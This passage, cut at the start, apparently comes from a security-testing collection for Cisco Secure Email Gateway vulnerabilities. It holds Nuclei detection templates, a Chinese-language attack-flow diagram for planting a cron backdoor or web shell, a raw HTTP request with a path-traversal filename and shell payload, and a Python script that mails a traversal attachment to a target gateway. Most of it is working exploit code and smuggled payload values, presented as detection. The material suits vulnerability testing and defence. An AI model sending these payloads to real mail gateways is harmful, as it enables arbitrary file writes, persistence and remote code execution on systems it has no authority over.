    root-level remote code execution via crafted HTTP requests.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-20393
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-seg-spam-rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-20
  tags: cve,cve2025,cisco,seg,rce,quarantine

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "AsyncOS"
          - "Cisco"
          - "Email Security"
        condition: or

  - method: POST
    path:
      - "{{BaseURL}}/quarantine/api/search"
      - "{{BaseURL}}/sms/quarantine"

    stop-at-first-match: true

    headers:
      Content-Type: application/json

    body: '{"query":"test","__nuclei_test__":"echo CVE-2025-20393"}'

    matchers:
      - type: word
        words:
          - "CVE-2025-20393"
          - "uid="
        condition: or

攻击者发送含恶意文件名附件的邮件
    │  附件文件名: ../../../../etc/cron.d/backdoor
    │
    ▼  Cisco SEG 接收邮件并进行内容过滤
    │
    ▼  文件分析组件处理附件，使用原始文件名写入临时目录
    │
    ▼  路径遍历导致文件写入到目标路径
    │
    ▼  覆盖 crontab / 配置文件 / WebShell
    │
    ▼  实现持久化或远程代码执行

POST /analyze HTTP/1.1
Host: target-cisco-seg:8443
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="attachment"; filename="../../tmp/evil.sh"
Content-Type: application/x-sh

#!/bin/bash
id > /tmp/pwned
------boundary--

#!/usr/bin/env python3
import argparse
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders

def create_path_traversal_attachment(filename, content="#!/bin/bash\nid > /tmp/pwned\n"):
    payload_name = f"../../tmp/{filename}"
    msg = MIMEMultipart()
    part = MIMEBase('application', 'octet-stream')
    part.set_payload(content.encode('utf-8'))
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment', filename=payload_name)
    return part

def send_test_email(smtp_host, smtp_port, sender, recipient, target_seg_host):
    msg = MIMEMultipart()
    msg['From'] = sender
    msg['To'] = recipient
    msg['Subject'] = "CVE-2024-20401 Detection Test"
    msg['X-Originating-IP'] = '[10.0.0.1]'
    msg.attach(MIMEText("Security validation", 'plain'))
    attachment = create_path_traversal_attachment(
        "cve202420401test.sh",
        "echo CVE-2024-20401-DETECTED > /tmp/cve_test"
    )
    msg.attach(attachment)
    with smtplib.SMTP(smtp_host, smtp_port) as server:
        server.sendmail(sender, recipient, msg.as_string())
    print(f"[*] Path traversal test email sent via {target_seg_host}")

def check_cisco_seg(target_host, target_port):
    import urllib.request
    import ssl
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        url = f"https://{target_host}:{target_port}/"
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:
            body = resp.read().decode('utf-8', errors='ignore')
            if 'AsyncOS' in body or 'Cisco' in body:
                print(f"[+] {target_host} appears to be Cisco SEG/ESA")
                return True
    except Exception:
        pass
    print(f"[-] {target_host} does not appear to be Cisco SEG")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2024-20401 Cisco SEG path traversal detection"
    )
    subparsers = parser.add_subparsers(dest='action', required=True)

    check_parser = subparsers.add_parser('check', help='Check if target is Cisco SEG')
    check_parser.add_argument('--target', required=True, help='Target host')
    check_parser.add_argument('--port', type=int, default=8443, help='Target port')

    mail_parser = subparsers.add_parser('send', help='Send test email with path traversal')
    mail_parser.add_argument('--smtp-host', required=True, help='Cisco SEG SMTP host')
    mail_parser.add_argument('--smtp-port', type=int, default=25, help='SMTP port')
    mail_parser.add_argument('--sender', required=True, help='Sender email')
    mail_parser.add_argument('--recipient', required=True, help='Recipient email')
    mail_parser.add_argument('--seg-host', required=True, help='Cisco SEG host for logging')

    args = parser.parse_args()
    if args.action == 'check':
        check_cisco_seg(args.target, args.port)
    elif args.action == 'send':
        send_test_email(args.smtp_host, args.smtp_port, args.sender, args.recipient, args.seg_host)

id: cve-2024-20401-cisco-seg-path-traversal

info:
  name: Cisco SEG CVE-2024-20401 File Analysis Path Traversal
  author: security-researcher
  severity: critical
  description: |
    Cisco Secure Email Gateway file analysis and content filtering
    feature contains a path traversal vulnerability allowing arbitrary
    file write via crafted attachment filenames.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-20401
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-seg-file-traversal
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-22
  tags: cve,cve2024,cisco,seg,path-traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "AsyncOS"
          - "Cisco"
        condition: or

      - type: status
        status:
          - 200
          - 302
          - 401
        condition: or